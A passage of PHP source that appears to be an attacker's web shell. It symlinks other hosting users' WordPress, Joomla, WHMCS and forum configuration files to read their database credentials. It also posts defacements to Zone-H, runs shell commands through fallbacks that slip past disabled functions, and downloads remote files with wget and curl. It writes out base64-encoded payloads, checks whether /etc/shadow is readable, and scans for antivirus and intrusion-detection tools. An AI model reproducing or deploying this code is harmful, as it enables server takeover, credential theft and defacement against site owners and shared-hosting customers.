  518.         symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  519.         symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  520.         symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  521.         symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  522.         symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  523.         symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  524.         symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  525.         symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  526.         symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  527.         symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  528.         symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  529.         symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  530.         symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  531.         symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  532.         symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  533.         symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  534.         symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  535.         symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  536.         symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  537.         symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  538.         symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  539.         symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  540.         symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  541.         symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  542.         symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  543.         symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  544.         symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  545.         symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  546.         symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  547.         symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  548.         symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  549.         symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  550.         symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  551.         symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  552.         symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  553.         symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  554.         symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  555.         symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  556.         symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  557.         symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  558.         symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  559.         symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  560.         symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  561.         symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  562.         symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  563.         symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  564.         symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  565.         symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  566.         symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  567.         symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  568.         symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  569.         symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  570.         symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  571.         symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  572.         symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  573.         symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  574.         symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  575.         symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  576.         symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  577.         symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  578.         symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  579.         symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  580.         symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  581.         symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  582.         symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  583.         symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  584.         symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  585.         symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  586.         symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  587.         symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  588.         symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  589.         symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  590.         symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  591.         symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  592.         symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  593.         symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  594.         symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  595.         symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  596.     }
  597.    
  598.     function randomt()
  599.     {
  600.         $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  601.         srand((double)microtime()*1000000);
  602.         $i = 0;
  603.         $pass = '' ;
  604.            
  605.         while ($i <= 7)
  606.         {
  607.             $num = rand() % 33;
  608.             $tmp = substr($chars, $num, 1);
  609.             $pass = $pass . $tmp;
  610.             $i++;
  611.         }
  612.            
  613.         return $pass;
  614.     }
  615.     function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
  616.     {
  617.         $ar0=explode($marqueurDebutLien, $text);
  618.         $ar1=explode($marqueurFinLien, $ar0[$i]);
  619.         $ar=trim($ar1[0]);
  620.         return $ar;
  621.     }
  622.        
  623.     // Zone-h Poster
  624.     function ZoneH($url, $hacker, $hackmode,$reson, $site )
  625.     {
  626.         $k = curl_init();
  627.         curl_setopt($k, CURLOPT_URL, $url);
  628.         curl_setopt($k,CURLOPT_POST,true);
  629.         curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  630.         curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  631.         curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  632.         $kubra = curl_exec($k);
  633.         curl_close($k);
  634.         return $kubra;
  635.     }
  636.    
  637.     // Database functions
  638.     function listdatabase()
  639.     {  
  640.         $self=$_SERVER["PHP_SELF"];
  641.         ?>
  642.         <br>
  643.         <form>
  644.         <input type="hidden" name="action" value="createDB">
  645.             <table>
  646.             <tr>
  647.                 <td><input type="text" class="box" name="dbname"></td><td><input type="submit" value="  Create Database  " name="createmydb" class="but"></td>
  648.             </tr>
  649.             </table>
  650.         </form>
  651.             <br>
  652.         <?php
  653.         $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
  654.         $result = mysql_query("SHOW DATABASE");
  655.         echo "<table cellspacing=1 cellpadding=5 border=1 class=pwdtbl style=width:60%;>\n";
  656.  
  657.         $pDB = mysql_list_dbs( $mysqlHandle );
  658.         $num = mysql_num_rows( $pDB );
  659.         for( $i = 0; $i < $num; $i++ )
  660.         {
  661.             $dbname = mysql_dbname( $pDB, $i );
  662.             mysql_select_db($dbname,$mysqlHandle);
  663.             $result = mysql_query("SHOW TABLES");
  664.             $num_of_tables = mysql_num_rows($result);
  665.             echo "<tr>\n";
  666.             echo "<td><a href='$self?action=listTables&dbname=$dbname'><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
  667.             echo "<td><a href='$self?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  668.             echo "<td><a href='$self?action=dropDB&dbname=$dbname&executequery' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  669.             echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  670.             echo "</tr>\n";
  671.         }
  672.         echo "</table>\n";
  673.         mysql_close($mysqlHandle);
  674.     }
  675.    
  676.     function listtable()
  677.     {
  678.         $self=$_SERVER["PHP_SELF"];
  679.         $dbserver = $_COOKIE["dbserver"];
  680.         $dbuser = $_COOKIE["dbuser"];
  681.         $dbpass = $_COOKIE["dbpass"];
  682.         $dbname = $_GET['dbname'];
  683.         echo "<div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <fontclass=txt size=3>[ Log Out ]</font> </a></div>";
  684.          ?>
  685.         <br><br>
  686.         <form>
  687.         <input type="hidden" name="action" value="createtable">
  688.         <input type="hidden" name="dbname" value="<?php echo $_GET['dbname'];?>">
  689.             <table>
  690.             <tr>
  691.                 <td><input type="text" class="box" name="tablename"></td><td><input type="submit" value="  Create Table  " name="createmydb" class="but"></td>
  692.             </tr>
  693.             </table>
  694.        
  695.             <br>
  696.             <form>
  697.             <input type="hidden" value="<?php echo $_GET['dbname']; ?>" name="dbname">
  698.             <input type="hidden" value="<?php echo $_GET['tablename']; ?>" name="tablename">
  699.             <input type="hidden" value="executequery" name="action">
  700.             <table>
  701.                 <tr>
  702.                     <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  703.                 </tr>
  704.                 <tr>
  705.                     <td><input type="submit" value="Execute" class="but"></td>
  706.                 </tr>
  707.             </table>
  708.             </form>
  709.            
  710.         <?php
  711.        
  712.         $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  713.        
  714.         mysql_select_db($dbname);
  715.         $pTable = mysql_list_tables( $dbname );
  716.    
  717.         if( $pTable == 0 ) {
  718.             $msg  = mysql_error();
  719.             echo "<h3>Error : $msg</h3><p>\n";
  720.             return;
  721.         }
  722.         $num = mysql_num_rows( $pTable );
  723.    
  724.         echo "<table cellspacing=1 cellpadding=5 class=pwdtbl border=1 style=width:60%;>\n";
  725.    
  726.         for( $i = 0; $i < $num; $i++ )
  727.         {
  728.             $tablename = mysql_tablename( $pTable, $i );
  729.             $result = mysql_query("select * from $tablename");
  730.             $num_rows = mysql_num_rows($result);
  731.             echo "<tr>\n";
  732.             echo "<td>\n";
  733.             echo "<a href='$self?action=viewdata&dbname=$dbname&tablename=$tablename'><font size=3>$tablename</font></a> ($num_rows)\n";
  734.             echo "</td>\n";
  735.             echo "<td>\n";
  736.             echo "<a href='$self?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  737.             echo "</td>\n";
  738.             echo "<td>\n";
  739.             echo "<a href='$self?action=viewdata&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  740.             echo "</td>\n";
  741.             echo "<td>\n";
  742.             echo "<a href='$self?action=empty&dbname=$dbname&tablename=$tablename'>Empty</a>\n";
  743.             echo "</td>\n";
  744.             echo "<td>\n";
  745.             echo "<a href='$self?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  746.             echo "</td>\n";
  747.             echo "</tr>\n";
  748.         }
  749.    
  750.         echo "</table></form>";
  751.         mysql_close($mysqlHandle);
  752.         echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  753.     }
  754.        
  755.    
  756.     function paramexe($n, $v)
  757.     {
  758.         $v = trim($v);
  759.         if($v)
  760.         {
  761.             echo '<span><font size=3>' . $n . ': </font></span>';
  762.             if(strpos($v, "\n") === false)
  763.                 echo '<font class=txt size=2>' . $v . '</font><br>';
  764.             else
  765.                 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
  766.         }
  767.     }
  768.    
  769.     $dir = getcwd();
  770.    
  771.     if(isset($_GET['dir']))
  772.     {
  773.         $dir = $_GET['dir'];
  774.     }
  775.    
  776.    
  777.     function dis()
  778.     {
  779.         if(!ini_get('disable_functions'))
  780.         {
  781.             echo "None";
  782.         }
  783.         else
  784.         {
  785.             echo @ini_get('disable_functions');
  786.         }
  787.     }
  788.    
  789.     function mycmdexec($cmd)
  790.     {
  791.          global $disablefunc;
  792.          $result = "";
  793.          if (!empty($cmd))
  794.          {
  795.               if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  796.               elseif (($result = "$cmd") !== FALSE) {}
  797.               elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  798.               elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  799.               elseif (is_resource($fp = popen($cmd,"r")))
  800.               {
  801.                $result = "";
  802.                while(!feof($fp)) {$result .= fread($fp,1024);}
  803.                pclose($fp);
  804.               }
  805.          }
  806.          return $result;
  807.     }
  808.    
  809.     function rrmdir($dir)
  810.     {
  811.         if (is_dir($dir)) // ensures that we actually have a directory
  812.         {
  813.             $objects = scandir($dir); // gets all files and folders inside
  814.             foreach ($objects as $object)
  815.             {
  816.                 if ($object != '.' && $object != '..')
  817.                 {
  818.                     if (is_dir($dir . '/' . $object))
  819.                     {
  820.                         // if we find a directory, do a recursive call
  821.                         rrmdir($dir . '/' . $object);
  822.                     }
  823.                     else
  824.                     {
  825.                         // if we find a file, simply delete it
  826.                         unlink($dir . '/' . $object);
  827.                     }
  828.                 }
  829.             }
  830.             // the original directory is now empty, so delete it
  831.             rmdir($dir);
  832.         }
  833.     }
  834.    
  835.     function godir($dir)
  836.     {
  837.         //echo $dir;
  838.        
  839.         $zip = new ZipArchive();
  840.         $filename= basename($dir) . '.zip';
  841.         // open archive
  842.         if ($zip->open($filename, ZIPARCHIVE::CREATE) !== TRUE)
  843.         {
  844.             die ("Could not open archive");
  845.         }
  846.         else
  847.             echo "fdg";
  848.         if (is_dir($dir)) // ensures that we actually have a directory
  849.         {
  850.             $objects = scandir($dir); // gets all files and folders inside
  851.             foreach ($objects as $object)
  852.             {
  853.                 if ($object != '.' && $object != '..')
  854.                 {
  855.                     if (is_dir($dir . '\\' . $object))
  856.                     {//echo $dir . '/' . $object;
  857.                         // if we find a directory, do a recursive call
  858.                         godir($dir . '\\' . $object);
  859.                     }
  860.                     else
  861.                     {
  862.                         // if we find a file, simply add it
  863.                         $zip->addFile($dir . '\\' . $object) or die ("ERROR: Could not add file: $key");
  864.                     }
  865.                 }
  866.             }
  867.             // the original directory is now empty, so delete it
  868.             $zip->addFile($dir) or die ("ERROR: Could not add file: $key");
  869.         }      
  870.     }
  871.    
  872.    
  873.                
  874.     function which($pr)
  875.     {
  876.         $path = execmd("which $pr");
  877.         if(!empty($path))
  878.             return trim($path);
  879.         else
  880.             return trim($pr);
  881.     }
  882.    
  883.     function cf($f,$t)
  884.     {
  885.         $w=@fopen($f,"w") or @function_exists('file_put_contents');
  886.         if($w)
  887.         {
  888.              @fwrite($w,gzinflate(base64_decode($t))) or @fputs($w,gzinflate(base64_decode($t))) or @file_put_contents($f,gzinflate(base64_decode($t)));
  889.              @fclose($w);
  890.         }
  891.     }  
  892.            
  893.     function remotedownload($cmd,$url)
  894.     {
  895.         $namafile = basename($url);
  896.         switch($cmd)
  897.         {
  898.             case 'wwget':
  899.                 execmd(which('wget')." ".$url." -O ".$namafile);
  900.                 break;
  901.             case 'wlynx':
  902.                 execmd(which('lynx')." -source ".$url." > ".$namafile);
  903.                 break;
  904.             case 'wfread' :
  905.                 execmd($wurl,$namafile);
  906.                 break;
  907.             case 'wfetch' :
  908.                 execmd(which('fetch')." -o ".$namafile." -p ".$url);
  909.                 break;
  910.             case 'wlinks' :
  911.                 execmd(which('links')." -source ".$url." > ".$namafile);
  912.                 break;
  913.             case 'wget' :
  914.                 execmd(which('GET')." ".$url." > ".$namafile);
  915.                 break;
  916.             case 'wcurl' :
  917.                 execmd(which('curl')." ".$url." -o ".$namafile);
  918.                 break;
  919.             default:
  920.             break;
  921.         }
  922.         return $namafile;
  923.     }
  924.    
  925.     function magicboom($text)
  926.     {
  927.         if (!get_magic_quotes_gpc())
  928.             return $text;
  929.         return stripslashes($text);
  930.     }
  931.  
  932. ##################################
  933. function execmd($cmd,$d_functions="None")
  934. {
  935.     if($d_functions=="None")
  936.     {
  937.         $ret=passthru($cmd);
  938.         return $ret;
  939.     }
  940.     $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
  941.     $d_functions=str_replace(" ","",$d_functions);
  942.     $dis_funcs=explode(",",$d_functions);
  943.     foreach($funcs as $safe)
  944.     {
  945.         if(!in_array($safe,$dis_funcs))
  946.         {
  947.             if($safe=="exec")
  948.             {
  949.                 $ret=@exec($cmd);
  950.                 $ret=join("\n",$ret);
  951.                 return $ret;
  952.             }
  953.             elseif($safe=="system")
  954.             {
  955.                 $ret=@system($cmd);
  956.                 return $ret;
  957.             }
  958.             elseif($safe=="passthru")
  959.             {
  960.                 $ret=@passthru($cmd);
  961.                 return $ret;
  962.             }
  963.             elseif($safe=="shell_exec")
  964.             {
  965.                 $ret=@shell_exec($cmd);
  966.                 return $ret;
  967.             }
  968.             elseif($safe=="popen")
  969.             {
  970.                 $ret=@popen("$cmd",'r');
  971.                 if(is_resource($ret))
  972.                 {
  973.                     while(@!feof($ret))
  974.                     $read.=@fgets($ret);
  975.                     @pclose($ret);
  976.                     return $read;
  977.                 }
  978.                 return -1;
  979.             }
  980.  
  981.             elseif($safe="proc_open")
  982.             {
  983.                 $cmdpipe=array(
  984.                 0=>array('pipe','r'),
  985.                 1=>array('pipe','w')
  986.                 );
  987.                 $resource=@proc_open($cmd,$cmdpipe,$pipes);
  988.                 if(@is_resource($resource))
  989.                 {
  990.                     while(@!feof($pipes[1]))
  991.                     $ret.=@fgets($pipes[1]);
  992.                     @fclose($pipes[1]);
  993.                     @proc_close($resource);
  994.                     return $ret;
  995.                 }
  996.                 return -1;
  997.             }
  998.         }
  999.     }
  1000.     return -1;
  1001. }
  1002.  
  1003.     function getDisabledFunctions()
  1004.     {
  1005.         if(!ini_get('disable_functions'))
  1006.         {
  1007.             return "None";
  1008.         }
  1009.         else
  1010.         {
  1011.                 return @ini_get('disable_functions');
  1012.         }
  1013.     }
  1014.    
  1015.     function getFilePermissions($file)
  1016. {
  1017.    
  1018. $perms = fileperms($file);
  1019.  
  1020. if (($perms & 0xC000) == 0xC000) {
  1021.     // Socket
  1022.     $info = 's';
  1023. } elseif (($perms & 0xA000) == 0xA000) {
  1024.     // Symbolic Link
  1025.     $info = 'l';
  1026. } elseif (($perms & 0x8000) == 0x8000) {
  1027.     // Regular
  1028.     $info = '-';
  1029. } elseif (($perms & 0x6000) == 0x6000) {
  1030.     // Block special
  1031.     $info = 'b';
  1032. } elseif (($perms & 0x4000) == 0x4000) {
  1033.     // Directory
  1034.     $info = 'd';
  1035. } elseif (($perms & 0x2000) == 0x2000) {
  1036.     // Character special
  1037.     $info = 'c';
  1038. } elseif (($perms & 0x1000) == 0x1000) {
  1039.     // FIFO pipe
  1040.     $info = 'p';
  1041. } else {
  1042.     // Unknown
  1043.     $info = 'u';
  1044. }
  1045.  
  1046. // Owner
  1047. $info .= (($perms & 0x0100) ? 'r' : '-');
  1048. $info .= (($perms & 0x0080) ? 'w' : '-');
  1049. $info .= (($perms & 0x0040) ?
  1050.             (($perms & 0x0800) ? 's' : 'x' ) :
  1051.             (($perms & 0x0800) ? 'S' : '-'));
  1052.  
  1053. // Group
  1054. $info .= (($perms & 0x0020) ? 'r' : '-');
  1055. $info .= (($perms & 0x0010) ? 'w' : '-');
  1056. $info .= (($perms & 0x0008) ?
  1057.             (($perms & 0x0400) ? 's' : 'x' ) :
  1058.             (($perms & 0x0400) ? 'S' : '-'));
  1059.  
  1060. // World
  1061. $info .= (($perms & 0x0004) ? 'r' : '-');
  1062. $info .= (($perms & 0x0002) ? 'w' : '-');
  1063. $info .= (($perms & 0x0001) ?
  1064.             (($perms & 0x0200) ? 't' : 'x' ) :
  1065.             (($perms & 0x0200) ? 'T' : '-'));
  1066.  
  1067. return $info;
  1068.  
  1069. }
  1070.    
  1071.  
  1072.     function yourip()
  1073.     {
  1074.         echo $_SERVER["REMOTE_ADDR"];
  1075.     }
  1076.     function phpver()
  1077.     {
  1078.         $pv=@phpversion();
  1079.         echo $pv;
  1080.     }
  1081.     function serverip()
  1082.     {
  1083.         echo getenv('SERVER_ADDR');
  1084.     }
  1085.     function serverport()
  1086.     {
  1087.         echo $_SERVER['SERVER_PORT'];
  1088.     }
  1089.     function  safe()
  1090.     {
  1091.         global $sm;
  1092.         return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
  1093.     }
  1094.     function serveradmin()
  1095.     {
  1096.         echo $_SERVER['SERVER_ADMIN'];
  1097.     }
  1098.     function systeminfo()
  1099.     {
  1100.         echo php_uname();
  1101.     }
  1102.     function curlinfo()
  1103.     {
  1104.         echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("Disabled");
  1105.     }
  1106.     function oracleinfo()
  1107.     {
  1108.         echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("Disabled");
  1109.     }
  1110.     function mysqlinfo()
  1111.     {
  1112.         echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1113.     }
  1114.     function mssqlinfo()
  1115.     {
  1116.         echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1117.     }
  1118.     function postgresqlinfo()
  1119.     {
  1120.         echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1121.     }
  1122.     function softwareinfo()
  1123.     {
  1124.         echo getenv("SERVER_SOFTWARE");
  1125.     }
  1126.     function download()
  1127.     {
  1128.         $frd=$_GET['download'];
  1129.         $prd=explode("/",$frd);
  1130.         for($i=0;$i<sizeof($prd);$i++)
  1131.         {
  1132.             $nfd=$prd[$i];
  1133.         }
  1134.         @ob_clean();
  1135.        header("Content-type: application/octet-stream");
  1136.        header("Content-length: ".filesize($nfd));
  1137.        header("Content-disposition: attachment; filename=\"".$nfd."\";");
  1138.        readfile($nfd);
  1139.  
  1140.        exit;
  1141.    
  1142.     }
  1143.        
  1144.     function HumanReadableFilesize($size)
  1145.     {
  1146.  
  1147.         $mod = 1024;
  1148.  
  1149.         $units = explode(' ','B KB MB GB TB PB');
  1150.         for ($i = 0; $size > $mod; $i++)
  1151.         {
  1152.             $size /= $mod;
  1153.         }
  1154.  
  1155.         return round($size, 2) . ' ' . $units[$i];
  1156.     }
  1157.    
  1158.     function showDrives()
  1159.     {
  1160.         global $self;
  1161.         foreach(range('A','Z') as $drive)
  1162.         {
  1163.             if(is_dir($drive.':\\'))
  1164.             {
  1165.                 ?>
  1166.                 <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  1167.                     <font class="txt"><?php echo $drive.":\\" ?></font>
  1168.                 </a>
  1169.                 <?php
  1170.             }
  1171.         }
  1172.     }
  1173.     function diskSpace()
  1174.     {
  1175.         echo HumanReadableFilesize(disk_total_space("/"));
  1176.     }  
  1177.     function freeSpace()
  1178.     {
  1179.        echo HumanReadableFilesize(disk_free_space("/"));
  1180.     }
  1181.    
  1182.     function thiscmd($p)
  1183.     {
  1184.         $path = myexe('which ' . $p);
  1185.         if(!empty($path))
  1186.             return $path;
  1187.         return false;
  1188.     }
  1189.  
  1190.     function split_dir()
  1191.     {
  1192.         $de=explode("/",getcwd());
  1193.         $del=$de[0];
  1194.         for($count=0;$count<sizeof($de);$count++)
  1195.         {
  1196.         $imp=$imp.$de[$count].'/';
  1197.            
  1198.         echo "<a href=".$self."?open=".$imp.">".$de[$count]."</a> / ";
  1199.         }
  1200.        
  1201.     }
  1202.    
  1203.     function mysecinfo()
  1204.     {
  1205.        
  1206.         function myparam($n, $v)
  1207.         {
  1208.             $v = trim($v);
  1209.             if($v)
  1210.             {
  1211.                 echo '<span>' . $n . ': </span>';
  1212.                 if(strpos($v, "\n") === false)
  1213.                     echo '<font class=txt>' . $v . '</font><br>';
  1214.                 else
  1215.                     echo '<pre class=ml1><font class=txt>' . $v . '</font></pre>';
  1216.             }
  1217.         }
  1218.    
  1219.         myparam('Server software', @getenv('SERVER_SOFTWARE'));
  1220.         if(function_exists('apache_get_modules'))
  1221.             myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
  1222.         myparam('Open base dir', @ini_get('open_basedir'));
  1223.         myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  1224.         myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  1225.         $temp=array();
  1226.         if(function_exists('mysql_get_client_info'))
  1227.             $temp[] = "MySql (".mysql_get_client_info().")";
  1228.         if(function_exists('mssql_connect'))
  1229.             $temp[] = "MSSQL";
  1230.         if(function_exists('pg_connect'))
  1231.             $temp[] = "PostgreSQL";
  1232.         if(function_exists('oci_connect'))
  1233.             $temp[] = "Oracle";
  1234.         myparam('Supported databases', implode(', ', $temp));
  1235.         echo '<br>';
  1236.    
  1237.         if($GLOBALS['os'] == 'Linux') {
  1238.                 myparam('Distro : ', myexe("cat /etc/*-release"));
  1239.                 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='$self?passwd'>[view]</a>":'no');
  1240.                 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  1241.                 myparam('OS version', @file_get_contents('/proc/version'));
  1242.                 myparam('Distr name', @file_get_contents('/etc/issue.net'));
  1243.                 myparam('Where is Perl?', myexe('whereis perl'));
  1244.                 myparam('Where is Python?', myexe('whereis python'));
  1245.                 myparam('Where is gcc?', myexe('whereis gcc'));
  1246.                 myparam('Where is apache?', myexe('whereis apache'));
  1247.                 myparam('CPU?', myexe('cat /proc/cpuinfo'));
  1248.                 myparam('RAM', myexe('free -m'));
  1249.                 myparam('Mount options', myexe('cat /etc/fstab'));
  1250.                 myparam('User Limits', myexe('ulimit -a'));
  1251.                
  1252.                
  1253.                 if(!$GLOBALS['safe_mode']) {
  1254.                     $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  1255.                     $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  1256.                     $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1257.                     echo '<br>';
  1258.                     $temp=array();
  1259.                     foreach ($userful as $item)
  1260.                         if(thiscmd($item))
  1261.                             $temp[] = $item;
  1262.                     myparam('Userful', implode(', ',$temp));
  1263.                     $temp=array();
  1264.                     foreach ($danger as $item)
